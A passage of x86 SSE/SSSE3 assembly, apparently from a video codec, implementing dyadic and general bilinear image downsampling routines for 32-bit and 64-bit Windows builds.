; each loop = source bandwidth: 32 bytes
.xloops1:
; 1st part horizonal loop: x16 bytes
; mem hi<- ->lo
;1st Line Src: mm0: d D c C b B a A mm1: h H g G f F e E
;2nd Line Src: mm2: l L k K j J i I mm3: p P o O n N m M
;=> target:
;: H G F E D C B A, P O N M L K J I
;: h g f e d c b a, p o n m l k j i
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movq mm0, [r2] ; 1st pSrc line
movq mm1, [r2+8] ; 1st pSrc line + 8
movq mm2, [r2+r3] ; 2nd pSrc line
movq mm3, [r2+r3+8] ; 2nd pSrc line + 8
; to handle mm0, mm1, mm2, mm3
pshufw mm4, mm0, 0d8h ; d D b B c C a A ; 11011000 B
pshufw mm5, mm4, 04eh ; c C a A d D b B ; 01001110 B
punpcklbw mm4, mm5 ; d c D C b a B A
pshufw mm4, mm4, 0d8h ; d c b a D C B A ; 11011000 B: mm4
pshufw mm5, mm1, 0d8h ; h H f F g G e E ; 11011000 B
pshufw mm6, mm5, 04eh ; g G e E h H f F ; 01001110 B
punpcklbw mm5, mm6 ; h g H G f e F E
pshufw mm5, mm5, 0d8h ; h g f e H G F E ; 11011000 B: mm5
pshufw mm6, mm2, 0d8h ; l L j J k K i I ; 11011000 B
pshufw mm7, mm6, 04eh ; k K i I l L j J ; 01001110 B
punpcklbw mm6, mm7 ; l k L K j i J I
pshufw mm6, mm6, 0d8h ; l k j i L K J I ; 11011000 B: mm6
pshufw mm7, mm3, 0d8h ; p P n N o O m M ; 11011000 B
pshufw mm0, mm7, 04eh ; o O m M p P n N ; 01001110 B
punpcklbw mm7, mm0 ; p o P O n m N M
pshufw mm7, mm7, 0d8h ; p o n m P O N M ; 11011000 B: mm7
; to handle mm4, mm5, mm6, mm7
movq mm0, mm4 ;
punpckldq mm0, mm5 ; H G F E D C B A
punpckhdq mm4, mm5 ; h g f e d c b a
movq mm1, mm6
punpckldq mm1, mm7 ; P O N M L K J I
punpckhdq mm6, mm7 ; p o n m l k j i
; avg within MB horizon width (16 x 2 lines)
pavgb mm0, mm4 ; (A+a+1)>>1, .., (H+h+1)>>1, temp_row1
pavgb mm1, mm6 ; (I+i+1)>>1, .., (P+p+1)>>1, temp_row2
pavgb mm0, mm1 ; (temp_row1+temp_row2+1)>>1, pending here and wait another horizonal part done then write memory once
; 2nd part horizonal loop: x16 bytes
; mem hi<- ->lo
;1st Line Src: mm0: d D c C b B a A mm1: h H g G f F e E
;2nd Line Src: mm2: l L k K j J i I mm3: p P o O n N m M
;=> target:
;: H G F E D C B A, P O N M L K J I
;: h g f e d c b a, p o n m l k j i
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movq mm1, [r2+16] ; 1st pSrc line + 16
movq mm2, [r2+24] ; 1st pSrc line + 24
movq mm3, [r2+r3+16] ; 2nd pSrc line + 16
movq mm4, [r2+r3+24] ; 2nd pSrc line + 24
; to handle mm1, mm2, mm3, mm4
pshufw mm5, mm1, 0d8h ; d D b B c C a A ; 11011000 B
pshufw mm6, mm5, 04eh ; c C a A d D b B ; 01001110 B
punpcklbw mm5, mm6 ; d c D C b a B A
pshufw mm5, mm5, 0d8h ; d c b a D C B A ; 11011000 B: mm5
pshufw mm6, mm2, 0d8h ; h H f F g G e E ; 11011000 B
pshufw mm7, mm6, 04eh ; g G e E h H f F ; 01001110 B
punpcklbw mm6, mm7 ; h g H G f e F E
pshufw mm6, mm6, 0d8h ; h g f e H G F E ; 11011000 B: mm6
pshufw mm7, mm3, 0d8h ; l L j J k K i I ; 11011000 B
pshufw mm1, mm7, 04eh ; k K i I l L j J ; 01001110 B
punpcklbw mm7, mm1 ; l k L K j i J I
pshufw mm7, mm7, 0d8h ; l k j i L K J I ; 11011000 B: mm7
pshufw mm1, mm4, 0d8h ; p P n N o O m M ; 11011000 B
pshufw mm2, mm1, 04eh ; o O m M p P n N ; 01001110 B
punpcklbw mm1, mm2 ; p o P O n m N M
pshufw mm1, mm1, 0d8h ; p o n m P O N M ; 11011000 B: mm1
; to handle mm5, mm6, mm7, mm1
movq mm2, mm5
punpckldq mm2, mm6 ; H G F E D C B A
punpckhdq mm5, mm6 ; h g f e d c b a
movq mm3, mm7
punpckldq mm3, mm1 ; P O N M L K J I
punpckhdq mm7, mm1 ; p o n m l k j i
; avg within MB horizon width (16 x 2 lines)
pavgb mm2, mm5 ; (A+a+1)>>1, .., (H+h+1)>>1, temp_row1
pavgb mm3, mm7 ; (I+i+1)>>1, .., (P+p+1)>>1, temp_row2
pavgb mm2, mm3 ; (temp_row1+temp_row2+1)>>1, done in another 2nd horizonal part
movq [r0 ], mm0
movq [r0+8], mm2
; next SMB
lea r2, [r2+32]
lea r0, [r0+16]
dec r4
jg near .xloops1
; next line
lea r2, [r2+2*r3] ; next end of lines
lea r2, [r2+2*r6] ; reset to base 0 [- 2 * iDstWidth]
lea r0, [r0+r1]
lea r0, [r0+r6] ; reset to base 0 [- iDstWidth]
dec r5
jg near .yloops1
WELSEMMS
%ifndef X86_32
pop r12
%endif
LOAD_6_PARA_POP
%ifdef X86_32
pop r6
%endif
ret
;***********************************************************************
; void DyadicBilinearDownsamplerWidthx16_sse( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
WELS_EXTERN DyadicBilinearDownsamplerWidthx16_sse
%ifdef X86_32
push r6
%assign push_num 1
%else
%assign push_num 0
%endif
LOAD_6_PARA
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r4, r4d
SIGN_EXTENSION r5, r5d
%ifndef X86_32
push r12
mov r12, r4
%endif
sar r5, $01 ; iSrcHeight >> 1
.yloops2:
%ifdef X86_32
mov r4, arg5
%else
mov r4, r12
%endif
sar r4, $01 ; iSrcWidth >> 1
mov r6, r4 ; iDstWidth restored at ebx
sar r4, $03 ; (iSrcWidth >> 1) / 8 ; loop count = num_of_mb
neg r6 ; - (iSrcWidth >> 1)
; each loop = source bandwidth: 16 bytes
.xloops2:
; 1st part horizonal loop: x16 bytes
; mem hi<- ->lo
;1st Line Src: mm0: d D c C b B a A mm1: h H g G f F e E
;2nd Line Src: mm2: l L k K j J i I mm3: p P o O n N m M
;=> target:
;: H G F E D C B A, P O N M L K J I
;: h g f e d c b a, p o n m l k j i
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movq mm0, [r2] ; 1st pSrc line
movq mm1, [r2+8] ; 1st pSrc line + 8
movq mm2, [r2+r3] ; 2nd pSrc line
movq mm3, [r2+r3+8] ; 2nd pSrc line + 8
; to handle mm0, mm1, mm2, mm3
pshufw mm4, mm0, 0d8h ; d D b B c C a A ; 11011000 B
pshufw mm5, mm4, 04eh ; c C a A d D b B ; 01001110 B
punpcklbw mm4, mm5 ; d c D C b a B A
pshufw mm4, mm4, 0d8h ; d c b a D C B A ; 11011000 B: mm4
pshufw mm5, mm1, 0d8h ; h H f F g G e E ; 11011000 B
pshufw mm6, mm5, 04eh ; g G e E h H f F ; 01001110 B
punpcklbw mm5, mm6 ; h g H G f e F E
pshufw mm5, mm5, 0d8h ; h g f e H G F E ; 11011000 B: mm5
pshufw mm6, mm2, 0d8h ; l L j J k K i I ; 11011000 B
pshufw mm7, mm6, 04eh ; k K i I l L j J ; 01001110 B
punpcklbw mm6, mm7 ; l k L K j i J I
pshufw mm6, mm6, 0d8h ; l k j i L K J I ; 11011000 B: mm6
pshufw mm7, mm3, 0d8h ; p P n N o O m M ; 11011000 B
pshufw mm0, mm7, 04eh ; o O m M p P n N ; 01001110 B
punpcklbw mm7, mm0 ; p o P O n m N M
pshufw mm7, mm7, 0d8h ; p o n m P O N M ; 11011000 B: mm7
; to handle mm4, mm5, mm6, mm7
movq mm0, mm4 ;
punpckldq mm0, mm5 ; H G F E D C B A
punpckhdq mm4, mm5 ; h g f e d c b a
movq mm1, mm6
punpckldq mm1, mm7 ; P O N M L K J I
punpckhdq mm6, mm7 ; p o n m l k j i
; avg within MB horizon width (16 x 2 lines)
pavgb mm0, mm4 ; (A+a+1)>>1, .., (H+h+1)>>1, temp_row1
pavgb mm1, mm6 ; (I+i+1)>>1, .., (P+p+1)>>1, temp_row2
pavgb mm0, mm1 ; (temp_row1+temp_row2+1)>>1, pending here and wait another horizonal part done then write memory once
movq [r0 ], mm0
; next SMB
lea r2, [r2+16]
lea r0, [r0+8]
dec r4
jg near .xloops2
; next line
lea r2, [r2+2*r3] ; next end of lines
lea r2, [r2+2*r6] ; reset to base 0 [- 2 * iDstWidth]
lea r0, [r0+r1]
lea r0, [r0+r6] ; reset to base 0 [- iDstWidth]
dec r5
jg near .yloops2
WELSEMMS
%ifndef X86_32
pop r12
%endif
LOAD_6_PARA_POP
%ifdef X86_32
pop r6
%endif
ret
;***********************************************************************
; void DyadicBilinearDownsamplerWidthx8_sse( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
WELS_EXTERN DyadicBilinearDownsamplerWidthx8_sse
%ifdef X86_32
push r6
%assign push_num 1
%else
%assign push_num 0
%endif
LOAD_6_PARA
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r4, r4d
SIGN_EXTENSION r5, r5d
%ifndef X86_32
push r12
mov r12, r4
%endif
sar r5, $01 ; iSrcHeight >> 1
.yloops3:
%ifdef X86_32
mov r4, arg5
%else
mov r4, r12
%endif
sar r4, $01 ; iSrcWidth >> 1
mov r6, r4 ; iDstWidth restored at ebx
sar r4, $02 ; (iSrcWidth >> 1) / 4 ; loop count = num_of_mb
neg r6 ; - (iSrcWidth >> 1)
; each loop = source bandwidth: 8 bytes
.xloops3:
; 1st part horizonal loop: x8 bytes
; mem hi<- ->lo
;1st Line Src: mm0: d D c C b B a A
;2nd Line Src: mm1: h H g G f F e E
;=> target:
;: H G F E D C B A
;: h g f e d c b a
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movq mm0, [r2] ; 1st pSrc line
movq mm1, [r2+r3] ; 2nd pSrc line
; to handle mm0, mm1, mm2, mm3
pshufw mm2, mm0, 0d8h ; d D b B c C a A ; 11011000 B
pshufw mm3, mm2, 04eh ; c C a A d D b B ; 01001110 B
punpcklbw mm2, mm3 ; d c D C b a B A
pshufw mm2, mm2, 0d8h ; d c b a D C B A ; 11011000 B: mm4
pshufw mm4, mm1, 0d8h ; h H f F g G e E ; 11011000 B
pshufw mm5, mm4, 04eh ; g G e E h H f F ; 01001110 B
punpcklbw mm4, mm5 ; h g H G f e F E
pshufw mm4, mm4, 0d8h ; h g f e H G F E ; 11011000 B: mm5
; to handle mm2, mm4
movq mm0, mm2 ;
punpckldq mm0, mm4 ; H G F E D C B A
punpckhdq mm2, mm4 ; h g f e d c b a
; avg within MB horizon width (16 x 2 lines)
pavgb mm0, mm2 ; (H+h+1)>>1, .., (A+a+1)>>1, temp_row1, 2
pshufw mm1, mm0, 04eh ; 01001110 B
pavgb mm0, mm1 ; (temp_row1+temp_row2+1)>>1, pending here and wait another horizonal part done then write memory once
movd [r0], mm0
; next unit
lea r2, [r2+8]
lea r0, [r0+4]
dec r4
jg near .xloops3
; next line
lea r2, [r2+2*r3] ; next end of lines
lea r2, [r2+2*r6] ; reset to base 0 [- 2 * iDstWidth]
lea r0, [r0+r1]
lea r0, [r0+r6] ; reset to base 0 [- iDstWidth]
dec r5
jg near .yloops3
WELSEMMS
%ifndef X86_32
pop r12
%endif
LOAD_6_PARA_POP
%ifdef X86_32
pop r6
%endif
ret
;***********************************************************************
; void DyadicBilinearDownsamplerWidthx32_ssse3( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
WELS_EXTERN DyadicBilinearDownsamplerWidthx32_ssse3
%ifdef X86_32
push r6
%assign push_num 1
%else
%assign push_num 0
%endif
LOAD_6_PARA
PUSH_XMM 4
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r4, r4d
SIGN_EXTENSION r5, r5d
%ifndef X86_32
push r12
mov r12, r4
%endif
sar r5, $01 ; iSrcHeight >> 1
WELS_DB1 xmm3
WELS_Zero xmm2
sar r4, $01 ; iSrcWidth >> 1
add r0, r4 ; pDst += iSrcWidth >> 1
.yloops4:
%ifdef X86_32
mov r4, arg5
%else
mov r4, r12
%endif
sar r4, $01 ; iSrcWidth >> 1
neg r4 ; -(iSrcWidth >> 1)
mov r6, r4
align 16
; each loop = source bandwidth: 32 bytes
.xloops4:
movdqa xmm0, [r2+r3]
movdqa xmm1, [r2+r3+16]
pavgb xmm0, [r2] ; avg vertical pixels 0-15
pavgb xmm1, [r2+16] ; avg vertical pixels 16-31
add r2, 32 ; pSrc += 32
pmaddubsw xmm0, xmm3 ; pairwise horizontal sum neighboring pixels 0-15
pmaddubsw xmm1, xmm3 ; pairwise horizontal sum neighboring pixels 16-31
pavgw xmm0, xmm2 ; (sum + 1) >> 1
pavgw xmm1, xmm2 ; (sum + 1) >> 1
packuswb xmm0, xmm1 ; pack words to bytes
movdqa [r0+r4], xmm0 ; store results
add r4, 16
jl .xloops4
; next line
lea r2, [r2+2*r3] ; next end of lines
lea r2, [r2+2*r6] ; reset to base 0 [- 2 * iDstWidth]
lea r0, [r0+r1]
sub r5, 1
jg .yloops4
%ifndef X86_32
pop r12
%endif
POP_XMM
LOAD_6_PARA_POP
%ifdef X86_32
pop r6
%endif
ret
;***********************************************************************
; void DyadicBilinearDownsamplerWidthx16_ssse3( unsigned char* pDst, const int iDstStride,
; unsigned char* pSrc, const int iSrcStride,
; const int iSrcWidth, const int iSrcHeight );
;***********************************************************************
WELS_EXTERN DyadicBilinearDownsamplerWidthx16_ssse3
%ifdef X86_32
push r6
%assign push_num 1
%else
%assign push_num 0
%endif
LOAD_6_PARA
PUSH_XMM 4
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r4, r4d
SIGN_EXTENSION r5, r5d
%ifndef X86_32
push r12
mov r12, r4
%endif
sar r5, $01 ; iSrcHeight >> 1
WELS_DB1 xmm3
WELS_Zero xmm2
add r2, r4 ; pSrc += iSrcWidth
sar r4, $01 ; iSrcWidth >> 1
add r0, r4 ; pDst += iSrcWidth >> 1
.yloops5:
%ifdef X86_32
mov r4, arg5
%else
mov r4, r12
%endif
sar r4, $01 ; iSrcWidth >> 1
neg r4 ; -(iSrcWidth >> 1)
lea r6, [r2+r3] ; pSrc + iSrcStride
align 16
; each loop = source bandwidth: 16 bytes
.xloops5:
movdqa xmm0, [r2+2*r4]
pavgb xmm0, [r6+2*r4] ; avg vertical pixels
pmaddubsw xmm0, xmm3 ; pairwise horizontal sum neighboring pixels
pavgw xmm0, xmm2 ; (sum + 1) >> 1
packuswb xmm0, xmm0 ; pack words to bytes
movlps [r0+r4], xmm0 ; store results
add r4, 8
jl .xloops5
; next line
lea r2, [r2+2*r3] ; next end of lines
lea r0, [r0+r1]
sub r5, 1
jg .yloops5
%ifndef X86_32
pop r12
%endif
POP_XMM
LOAD_6_PARA_POP
%ifdef X86_32
pop r6
%endif
ret
%ifdef X86_32
;**************************************************************************************************************
;int GeneralBilinearAccurateDownsampler_sse2( unsigned char* pDst, const int iDstStride, const int iDstWidth, const int iDstHeight,
; unsigned char* pSrc, const int iSrcStride,
; unsigned int uiScaleX, unsigned int uiScaleY );
;{
;**************************************************************************************************************
WELS_EXTERN GeneralBilinearAccurateDownsampler_sse2
push ebp
push esi
push edi
push ebx
%define pushsize 16
%define localsize 16
%define pDstData esp + pushsize + localsize + 4
%define dwDstStride esp + pushsize + localsize + 8
%define dwDstWidth esp + pushsize + localsize + 12
%define dwDstHeight esp + pushsize + localsize + 16
%define pSrcData esp + pushsize + localsize + 20
%define dwSrcStride esp + pushsize + localsize + 24
%define uiScaleX esp + pushsize + localsize + 28
%define uiScaleY esp + pushsize + localsize + 32
%define tmpHeight esp + 0
%define yInverse esp + 4
%define xInverse esp + 8
%define dstStep esp + 12
sub esp, localsize
pxor xmm0, xmm0
mov eax, [uiScaleX]
and eax, 32767
mov ebx, eax
neg ebx
and ebx, 32767
movd xmm1, eax ; uinc(uiScaleX mod 32767)
movd xmm2, ebx ; -uinc
psllq xmm1, 32
por xmm1, xmm2 ; 0 0 uinc -uinc (dword)
pshufd xmm7, xmm1, 01000100b ; xmm7: uinc -uinc uinc -uinc
mov eax, [uiScaleY]
and eax, 32767
mov ebx, eax
neg ebx
and ebx, 32767
movd xmm6, eax ; vinc(uiScaleY mod 32767)
movd xmm2, ebx ; -vinc
psllq xmm6, 32
por xmm6, xmm2 ; 0 0 vinc -vinc (dword)
pshufd xmm6, xmm6, 01010000b ; xmm6: vinc vinc -vinc -vinc
mov edx, 40003fffh
movd xmm5, edx
punpcklwd xmm5, xmm0 ; 16384 16383
pshufd xmm5, xmm5, 01000100b ; xmm5: 16384 16383 16384 16383
DOWNSAMPLE:
mov eax, [dwDstHeight]
mov edi, [pDstData]
mov edx, [dwDstStride]
mov ecx, [dwDstWidth]
sub edx, ecx
mov [dstStep], edx ; stride - width
dec eax
mov [tmpHeight], eax
mov eax, 16384
mov [yInverse], eax
pshufd xmm4, xmm5, 01010000b ; initial v to 16384 16384 16383 16383
HEIGHT:
mov eax, [yInverse]
mov esi, [pSrcData]
shr eax, 15
mul dword [dwSrcStride]
add esi, eax ; get current row address
mov ebp, esi
add ebp, [dwSrcStride]
mov eax, 16384
mov [xInverse], eax
mov ecx, [dwDstWidth]
dec ecx
movdqa xmm3, xmm5 ; initial u to 16384 16383 16384 16383
WIDTH:
mov eax, [xInverse]
shr eax, 15
movd xmm1, [esi+eax] ; xxxxxxba
movd xmm2, [ebp+eax] ; xxxxxxdc
pxor xmm0, xmm0
punpcklwd xmm1, xmm2 ; xxxxdcba
punpcklbw xmm1, xmm0 ; 0d0c0b0a
punpcklwd xmm1, xmm0 ; 000d000c000b000a
movdqa xmm2, xmm4 ; xmm2: vv(1-v)(1-v) tmpv
pmaddwd xmm2, xmm3 ; mul u(1-u)u(1-u) on xmm2
movdqa xmm0, xmm2
pmuludq xmm2, xmm1
psrlq xmm0, 32
psrlq xmm1, 32
pmuludq xmm0, xmm1
paddq xmm2, xmm0
pshufd xmm1, xmm2, 00001110b
paddq xmm2, xmm1
psrlq xmm2, 29
movd eax, xmm2
inc eax
shr eax, 1
mov [edi], al
inc edi
mov eax, [uiScaleX]
add [xInverse], eax
paddw xmm3, xmm7 ; inc u
psllw xmm3, 1
psrlw xmm3, 1
loop WIDTH
WIDTH_END:
mov eax, [xInverse]
shr eax, 15
mov cl, [esi+eax]
mov [edi], cl
inc edi
mov eax, [uiScaleY]
add [yInverse], eax
add edi, [dstStep]
paddw xmm4, xmm6 ; inc v
psllw xmm4, 1
psrlw xmm4, 1
dec dword [tmpHeight]
jg HEIGHT
LAST_ROW:
mov eax, [yInverse]
mov esi, [pSrcData]
shr eax, 15
mul dword [dwSrcStride]
add esi, eax ; get current row address
mov eax, 16384
mov [xInverse], eax
mov ecx, [dwDstWidth]
LAST_ROW_WIDTH:
mov eax, [xInverse]
shr eax, 15
mov al, [esi+eax]
mov [edi], al
inc edi
mov eax, [uiScaleX]
add [xInverse], eax
loop LAST_ROW_WIDTH
LAST_ROW_END:
add esp, localsize
pop ebx
pop edi
pop esi
pop ebp
%undef pushsize
%undef localsize
%undef pSrcData
%undef dwSrcWidth
%undef dwSrcHeight
%undef dwSrcStride
%undef pDstData
%undef dwDstWidth
%undef dwDstHeight
%undef dwDstStride
%undef uiScaleX
%undef uiScaleY
%undef tmpHeight
%undef yInverse
%undef xInverse
%undef dstStep
ret
;**************************************************************************************************************
;int GeneralBilinearFastDownsampler_sse2( unsigned char* pDst, const int iDstStride, const int iDstWidth, const int iDstHeight,
; unsigned char* pSrc, const int iSrcStride,
; unsigned int uiScaleX, unsigned int uiScaleY );
;{
;**************************************************************************************************************
WELS_EXTERN GeneralBilinearFastDownsampler_sse2
push ebp
push esi
push edi
push ebx
%define pushsize 16
%define localsize 16
%define pDstData esp + pushsize + localsize + 4
%define dwDstStride esp + pushsize + localsize + 8
%define dwDstWidth esp + pushsize + localsize + 12
%define dwDstHeight esp + pushsize + localsize + 16
%define pSrcData esp + pushsize + localsize + 20
%define dwSrcStride esp + pushsize + localsize + 24
%define uiScaleX esp + pushsize + localsize + 28
%define uiScaleY esp + pushsize + localsize + 32
%define tmpHeight esp + 0
%define yInverse esp + 4
%define xInverse esp + 8
%define dstStep esp + 12
sub esp, localsize
pxor xmm0, xmm0
mov edx, 65535
mov eax, [uiScaleX]
and eax, edx
mov ebx, eax
neg ebx
and ebx, 65535
movd xmm1, eax ; uinc(uiScaleX mod 65536)
movd xmm2, ebx ; -uinc
psllq xmm1, 32
por xmm1, xmm2 ; 0 uinc 0 -uinc
pshuflw xmm7, xmm1, 10001000b ; xmm7: uinc -uinc uinc -uinc
mov eax, [uiScaleY]
and eax, 32767
mov ebx, eax
neg ebx
and ebx, 32767
movd xmm6, eax ; vinc(uiScaleY mod 32767)
movd xmm2, ebx ; -vinc
psllq xmm6, 32
por xmm6, xmm2 ; 0 vinc 0 -vinc
pshuflw xmm6, xmm6, 10100000b ; xmm6: vinc vinc -vinc -vinc
mov edx, 80007fffh ; 32768 32767
movd xmm5, edx
pshuflw xmm5, xmm5, 01000100b ; 32768 32767 32768 32767
mov ebx, 16384
FAST_DOWNSAMPLE:
mov eax, [dwDstHeight]
mov edi, [pDstData]
mov edx, [dwDstStride]
mov ecx, [dwDstWidth]
sub edx, ecx
mov [dstStep], edx ; stride - width
dec eax
mov [tmpHeight], eax
mov eax, 16384
mov [yInverse], eax
pshuflw xmm4, xmm5, 01010000b
psrlw xmm4, 1 ; initial v to 16384 16384 16383 16383
FAST_HEIGHT:
mov eax, [yInverse]
mov esi, [pSrcData]
shr eax, 15
mul dword [dwSrcStride]
add esi, eax ; get current row address
mov ebp, esi
add ebp, [dwSrcStride]
mov eax, 32768
mov [xInverse], eax
mov ecx, [dwDstWidth]
dec ecx
movdqa xmm3, xmm5 ; initial u to 32768 32767 32768 32767
FAST_WIDTH:
mov eax, [xInverse]
shr eax, 16
movd xmm1, [esi+eax] ; xxxxxxba
movd xmm2, [ebp+eax] ; xxxxxxdc
punpcklwd xmm1, xmm2 ; xxxxdcba
punpcklbw xmm1, xmm0 ; 0d0c0b0a
movdqa xmm2, xmm4 ; xmm2: vv(1-v)(1-v) tmpv
pmulhuw xmm2, xmm3 ; mul u(1-u)u(1-u) on xmm2
pmaddwd xmm2, xmm1
pshufd xmm1, xmm2, 00000001b
paddd xmm2, xmm1
movd xmm1, ebx
paddd xmm2, xmm1
psrld xmm2, 15
packuswb xmm2, xmm0
movd eax, xmm2
mov [edi], al
inc edi
mov eax, [uiScaleX]
add [xInverse], eax
paddw xmm3, xmm7 ; inc u
loop FAST_WIDTH
FAST_WIDTH_END:
mov eax, [xInverse]
shr eax, 16
mov cl, [esi+eax]
mov [edi], cl
inc edi
mov eax, [uiScaleY]
add [yInverse], eax
add edi, [dstStep]
paddw xmm4, xmm6 ; inc v
psllw xmm4, 1
psrlw xmm4, 1
dec dword [tmpHeight]
jg FAST_HEIGHT
FAST_LAST_ROW:
mov eax, [yInverse]
mov esi, [pSrcData]
shr eax, 15
mul dword [dwSrcStride]
add esi, eax ; get current row address
mov eax, 32768
mov [xInverse], eax
mov ecx, [dwDstWidth]
FAST_LAST_ROW_WIDTH:
mov eax, [xInverse]
shr eax, 16
mov al, [esi+eax]
mov [edi], al
inc edi
mov eax, [uiScaleX]
add [xInverse], eax
loop FAST_LAST_ROW_WIDTH
FAST_LAST_ROW_END:
add esp, localsize
pop ebx
pop edi
pop esi
pop ebp
%undef pushsize
%undef localsize
%undef pSrcData
%undef dwSrcWidth
%undef dwSrcHeight
%undef dwSrcStride
%undef pDstData
%undef dwDstStride
%undef uiScaleX
%undef uiScaleY
%undef tmpHeight
%undef yInverse
%undef xInverse
%undef dstStep
ret
%elifdef WIN64
;**************************************************************************************************************
;int GeneralBilinearAccurateDownsampler_sse2( unsigned char* pDst, const int iDstStride, const int iDstWidth, const int iDstHeight,
; unsigned char* pSrc, const int iSrcStride,
; unsigned int uiScaleX, unsigned int uiScaleY );
;{
;**************************************************************************************************************
WELS_EXTERN GeneralBilinearAccurateDownsampler_sse2
push r12
push r13
push r14
push r15
push rsi
push rdi
push rbx
push rbp
%assign push_num 8
LOAD_7_PARA
PUSH_XMM 8
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r2, r2d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r5, r5d
SIGN_EXTENSION r6, r6d
pxor xmm0, xmm0
mov r12d, r6d
and r12d, 32767
mov r13d, r12d
neg r13d
and r13d, 32767
movd xmm1, r12d ; uinc(uiScaleX mod 32767)
movd xmm2, r13d ; -uinc
psllq xmm1, 32
por xmm1, xmm2 ; 0 0 uinc -uinc (dword)
pshufd xmm7, xmm1, 01000100b ; xmm7: uinc -uinc uinc -uinc
mov r12, arg8
SIGN_EXTENSION r12, r12d
mov rbp, r12
and r12d, 32767
mov r13d, r12d
neg r13d
and r13d, 32767
movd xmm6, r12d ; vinc(uiScaleY mod 32767)
movd xmm2, r13d ; -vinc
psllq xmm6, 32
por xmm6, xmm2 ; 0 0 vinc -vinc (dword)
pshufd xmm6, xmm6, 01010000b ; xmm6: vinc vinc -vinc -vinc
mov r12d, 40003fffh
movd xmm5, r12d
punpcklwd xmm5, xmm0 ; 16384 16383
pshufd xmm5, xmm5, 01000100b ; xmm5: 16384 16383 16384 16383
DOWNSAMPLE:
sub r1, r2 ; stride - width
dec r3
mov r14,16384
pshufd xmm4, xmm5, 01010000b ; initial v to 16384 16384 16383 16383
HEIGHT:
;mov r12, r4
mov r12, r14
shr r12, 15
imul r12, r5
add r12, r4 ; get current row address
mov r13, r12
add r13, r5
mov r15, 16384
mov rsi, r2
dec rsi
movdqa xmm3, xmm5 ; initial u to 16384 16383 16384 16383
WIDTH:
mov rdi, r15
shr rdi, 15
movd xmm1, [r12+rdi] ; xxxxxxba
movd xmm2, [r13+rdi] ; xxxxxxdc
pxor xmm0, xmm0
punpcklwd xmm1, xmm2 ; xxxxdcba
punpcklbw xmm1, xmm0 ; 0d0c0b0a
punpcklwd xmm1, xmm0 ; 000d000c000b000a
movdqa xmm2, xmm4 ; xmm2: vv(1-v)(1-v) tmpv
pmaddwd xmm2, xmm3 ; mul u(1-u)u(1-u) on xmm2
movdqa xmm0, xmm2
pmuludq xmm2, xmm1
psrlq xmm0, 32
psrlq xmm1, 32
pmuludq xmm0, xmm1
paddq xmm2, xmm0
pshufd xmm1, xmm2, 00001110b
paddq xmm2, xmm1
psrlq xmm2, 29
movd ebx, xmm2
inc ebx
shr ebx, 1
mov [r0], bl
inc r0
add r15, r6
paddw xmm3, xmm7 ; inc u
psllw xmm3, 1
psrlw xmm3, 1
dec rsi
jg WIDTH
WIDTH_END:
shr r15, 15
mov bl, [r12+r15]
mov [r0],bl
inc r0
add r14, rbp
add r0, r1
paddw xmm4, xmm6 ; inc v
psllw xmm4, 1
psrlw xmm4, 1
dec r3
jg HEIGHT
LAST_ROW:
shr r14, 15
imul r14, r5
add r4, r14
mov r15, 16384
LAST_ROW_WIDTH:
mov rdi, r15
shr rdi, 15
mov bl, [r4+rdi]
mov [r0],bl
inc r0
add r15, r6
dec r2
jg LAST_ROW_WIDTH
LAST_ROW_END:
POP_XMM
pop rbp
pop rbx
pop rdi
pop rsi
pop r15
pop r14
pop r13
pop r12
ret
;**************************************************************************************************************
;int GeneralBilinearFastDownsampler_sse2( unsigned char* pDst, const int iDstStride, const int iDstWidth, const int iDstHeight,
; unsigned char* pSrc, const int iSrcStride,
; unsigned int uiScaleX, unsigned int uiScaleY );
;{
;**************************************************************************************************************
WELS_EXTERN GeneralBilinearFastDownsampler_sse2
push r12
push r13
push r14
push r15
push rsi
push rdi
push rbx
push rbp
%assign push_num 8
LOAD_7_PARA
PUSH_XMM 8
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r2, r2d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r5, r5d
SIGN_EXTENSION r6, r6d
pxor xmm0, xmm0
mov r12d, r6d
and r12d, 65535
mov r13d, r12d
neg r13d
and r13d, 65535
movd xmm1, r12d ; uinc(uiScaleX mod 65536)
movd xmm2, r13d ; -uinc
psllq xmm1, 32
por xmm1, xmm2 ; 0 uinc 0 -uinc
pshuflw xmm7, xmm1, 10001000b ; xmm7: uinc -uinc uinc -uinc
mov r12, arg8
SIGN_EXTENSION r12, r12d
mov rbp, r12
and r12d, 32767
mov r13d, r12d
neg r13d
and r13d, 32767
movd xmm6, r12d ; vinc(uiScaleY mod 32767)
movd xmm2, r13d ; -vinc
psllq xmm6, 32
por xmm6, xmm2 ; 0 vinc 0 -vinc
pshuflw xmm6, xmm6, 10100000b ; xmm6: vinc vinc -vinc -vinc
mov r12d, 80007fffh ; 32768 32767
movd xmm5, r12d
pshuflw xmm5, xmm5, 01000100b ; 32768 32767 32768 32767
FAST_DOWNSAMPLE:
sub r1, r2 ; stride - width
dec r3
mov r14,16384
pshuflw xmm4, xmm5, 01010000b
psrlw xmm4, 1 ; initial v to 16384 16384 16383 16383
FAST_HEIGHT:
mov r12, r14
shr r12, 15
imul r12, r5
add r12, r4 ; get current row address
mov r13, r12
add r13, r5
mov r15, 32768
mov rsi, r2
dec rsi
movdqa xmm3, xmm5 ; initial u to 32768 32767 32768 32767
FAST_WIDTH:
mov rdi, r15
shr rdi, 16
